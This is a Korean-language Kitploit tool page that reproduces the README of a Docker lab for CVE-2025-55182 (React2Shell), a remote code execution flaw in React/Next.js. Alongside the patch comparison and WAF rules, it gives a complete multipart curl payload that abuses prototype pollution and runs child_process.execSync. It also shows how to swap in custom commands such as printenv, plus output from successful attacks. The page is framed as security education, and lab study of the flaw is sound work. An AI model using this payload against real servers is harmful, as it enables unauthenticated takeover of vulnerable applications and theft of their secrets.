Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-55182-test-lab-windows — Docker 기반 테스트 랩으로, React 19.1.0/Next.js 15.1.0에서 CVE-2025-55182 (React2Shell) RCE 취약점을 테스트할 수 있습니다. 익스플로잇 스크립트, NGINX/ModSecurity를 이용한 WAF 우회 테스트, 그리고 보안 교육을 위한 패치된 버전 비교 기능을 포함합니다. | Kitploit
도구/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassCTFPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Docker 기반 테스트 랩으로, React 19.1.0/Next.js 15.1.0에서 CVE-2025-55182 (React2Shell) RCE 취약점을 테스트할 수 있습니다. 익스플로잇 스크립트, NGINX/ModSecurity를 이용한 WAF 우회 테스트, 그리고 보안 교육을 위한 패치된 버전 비교 기능을 포함합니다.

저장소 보기
149개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 (React2Shell) 테스트

⚠️ 경고: 실제로 동작하는 원격 코드 실행(RCE) 취약점을 포함하고 있습니다.

📋 목차

  • 개요
  • 취약점 정보
  • 빠른 시작
  • 실제 공격 시연
  • 테스트 환경
  • WAF 방어 룰
  • 파일 구조
  • 참고 자료
  • 법적 고지

개요

CVE-2025-55182 (React2Shell) 취약점 테스트를 위한 컨테이너 테스트 환경입니다.

주요 특징

  • ✅ 실제 취약점 재현 - React 19.1.0 / Next.js 15.1.0 환경
  • ✅ RCE 공격 성공 - 실제 명령어 실행 확인
  • ✅ WAF 방어 테스트 - NGINX 및 Apache ModSecurity 룰 설정
  • ✅ 패치 버전 비교 - 취약 버전 vs 패치 버전 테스트
  • ✅ 완전한 Docker 환경 - 격리된 컨테이너 환경

공격 결과

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

취약점 정보

CVE-2025-55182 (React2Shell)

CVSS 점수: 10.0 (CRITICAL)
영향: 원격 코드 실행 (RCE)
인증 요구: 없음
공격 벡터: 네트워크

취약한 버전

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

패치된 버전

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

공격 원리

  1. Prototype Pollution - $1:__proto__:then을 통한 프로토타입 오염
  2. Function Constructor 접근 - Blob 역직렬화($B 접두사)를 통한 접근
  3. 임의 코드 실행 - 공격자가 제어하는 코드로 함수 생성
  4. 시스템 명령 실행 - child_process를 통한 RCE
// 공격 페이로드 구조
{
  "then": "$1:__proto__:then",           // Object.prototype.then 오염
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Blob 역직렬화 트리거
  "_response": {
    "_prefix": "악성_코드",               // 실행할 코드
    "_formData": {
      "get": "$1:constructor:constructor"  // Function constructor 접근
    }
  }
}

빠른 시작

사전 요구사항

  • Docker Desktop
  • Node.js 20+ (로컬 테스트용, 선택사항)
  • 최소 4GB RAM
  • 2GB 이상의 여유 디스크 공간

1단계: 환경 시작

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

2단계: 상태 확인

.\run-tests.ps1 status

전체 컨테이너가 healthy 상태가 될 때까지 기다려야합니다 (약 1-2분 소요).

3단계: 공격 실행

Windows (PowerShell):

# 방법 1: PowerShell 스크립트 사용 (권장)
.\tests\exploit-working.ps1

# 방법 2: Node.js 직접 실행
node tests\exploit-working.js

### 4단계: 결과 확인

서버 로그에서 명령어 실행 결과를 확인할 수 있습니다:

```bash
docker compose logs vulnerable-app --tail=20

공격 시연

자동화된 공격 스크립트

exploit-working.js ⭐ 권장

Windows:

# PowerShell 스크립트 (권장)
.\tests\exploit-working.ps1

# 또는 Node.js 직접 실행
node tests\exploit-working.js

실행 내용:

  • ✅ 임의의 쉘 명령어 실행
  • ✅ 서버 로그에서 명령어 출력 캡처
  • ✅ 다수 명령어 자동 테스트
  • ✅ 상세한 취약점 보고서 제공

테스트되는 명령어:

  • whoami - 현재 사용자 (root)
  • hostname - 컨테이너 호스트명
  • pwd - 작업 디렉토리 (/app)
  • id - 전체 사용자 정보
  • uname -a - 시스템 정보
  • node --version - Node.js 버전

수동 공격

curl을 사용한 직접 공격

# 페이로드 파일 생성
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 공격 전송
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 로그 실행 확인
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

사용자 정의 명령어 실행

공격 스크립트를 수정하여 원하는 명령어를 실행할 수 있습니다:

// exploit-working.js 파일에서:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
  { name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
]

테스트 환경

Docker 컨테이너

포트서비스React 버전용도WAF 상태
3000vulnerable-app19.1.0취약함 - CVE-2025-55182 테스트❌ 보호 없음
3001patched-app19.1.2안전함 - 패치 효과 검증✅ 패치됨
8080nginx → vulnerable19.1.0WAF 테스트 (NGINX)⚠️ 제한적 (body 미검사)
8081apache → vulnerable19.1.0WAF 테스트 (ModSecurity)⚠️ 제한적 (405 응답)
8082nginx → patched19.1.2이중 보호 테스트✅ 패치됨

애플리케이션 환경

  • 프레임워크: Next.js 15.1.0 (App Router)
  • React 버전: 19.1.0 (취약)
  • Node.js: 20.19.6

테스트 시나리오

시나리오 1: 취약 버전 공격

# 작동하는 공격 실행
node tests/exploit-working.js

# 예상 결과: 명령어 실행 성공
# 출력: 사용자 정보, 시스템 세부 정보 등

시나리오 2: 패치된 버전 테스트

Windows (PowerShell):

# PowerShell 스크립트 사용
.\tests\exploit-working.ps1 -Port 3001

예상 결과: 공격 실패 (React 19.1.2가 공격을 차단함)

시나리오 3: WAF 차단 테스트

Windows (PowerShell):

# NGINX WAF를 통한 공격 시도
.\tests\exploit-working.ps1 -Port 8080

예상 결과: WAF 룰에 의해 차단


WAF 방어 룰

NGINX 방어 룰

위치: nginx/nginx.conf

탐지 패턴:

  1. Prototype Pollution - __proto__, constructor:constructor
  2. Flight Protocol 악용 - $X:__proto__, $B 참조
  3. Gadget Chain - child_process, execSync, require()
  4. URL Encoding 우회 - %5f%5fproto%5f%5f
  5. 의심스러운 헤더 - Next-Action: #constructor

차단 동작:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache ModSecurity 룰

위치: apache/modsecurity-rules.conf

룰 ID 범위: 100001-100017

주요 룰:

  • 100001: __proto__ 탐지
  • 100002: Constructor chain 접근
  • 100003-100004: Flight protocol 악용
  • 100006-100007: Gadget chain 패턴
  • 100008-100011: RCE 시도 (child_process, exec, spawn, require)
  • 100015: 의심스러운 Next-Action 헤더
  • 100017: 이상 점수 기반 차단

WAF 테스트

# NGINX 차단 테스트
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 예상 응답: HTTP 403

# ModSecurity 차단 테스트
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 예상 응답: HTTP 403

WAF 로그 확인

# NGINX 보안 로그
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity 감사 로그
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ WAF 제한사항

중요: 현재 WAF 구성에는 다음과 같은 제한사항이 있습니다:

NGINX (포트 8080)

  • ❌ Request body를 검사하지 않음
  • NGINX 기본 설정은 URL, 쿼리 파라미터, 헤더만 검사
  • Exploit payload는 multipart/form-data body에 포함되어 있어 탐지되지 않음
  • 해결책: lua-nginx-module 또는 별도의 WAF 솔루션 필요

Apache ModSecurity (포트 8081)

  • ⚠️ Next.js가 POST 요청을 거부 (405 Method Not Allowed)
  • ModSecurity는 활성화되어 있고 body 검사도 가능
  • 하지만 Next-Action 헤더가 필요한데, 이 헤더만으로는 충분한 보호 불가
  • 현재 상태: WAF가 body를 검사하기 전에 405 응답

실제 공격 방어:

  • ✅ 가장 효과적인 방법: React/Next.js를 패치된 버전으로 업그레이드 (포트 3001, 8082)
  • ⚠️ WAF는 부분적 보호만 제공: Body 검사가 필요한 공격에는 제한적

파일 구조

도구 다운로드